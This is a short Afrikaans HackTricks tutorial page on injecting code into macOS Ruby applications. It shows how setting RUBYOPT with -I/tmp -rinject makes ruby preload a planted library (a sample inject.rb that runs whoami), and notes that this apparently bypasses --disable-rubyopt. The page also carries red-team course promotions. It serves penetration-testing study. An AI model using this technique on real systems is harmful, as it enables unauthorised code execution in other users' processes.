macOS Ruby Applications Injection

Leer AWS-hacking van nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:

RUBYOPT

Deur hierdie omgewingsveranderlike te gebruik, is dit moontlik om nuwe parameters by te voeg aan ruby wanneer dit uitgevoer word. Alhoewel die parameter -e nie gebruik kan word om ruby-kode spesifiek uit te voer nie, is dit moontlik om die parameters -I en -r te gebruik om 'n nuwe vouer by die biblioteekspad te voeg en dan 'n biblioteek om te laai te spesifiseer.

Skep die biblioteek inject.rb in /tmp:

inject.rb
puts `whoami`

Skep enige plek 'n ruby-skrips soos:

hello.rb
puts 'Hello, World!'

Maak dan 'n willekeurige ruby-skrip en laai dit met:

RUBYOPT="-I/tmp -rinject" ruby hello.rb

Interessante feit, dit werk selfs met die parameter --disable-rubyopt:

RUBYOPT="-I/tmp -rinject" ruby hello.rb --disable-rubyopt
Leer AWS-hacking van nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:

Last updated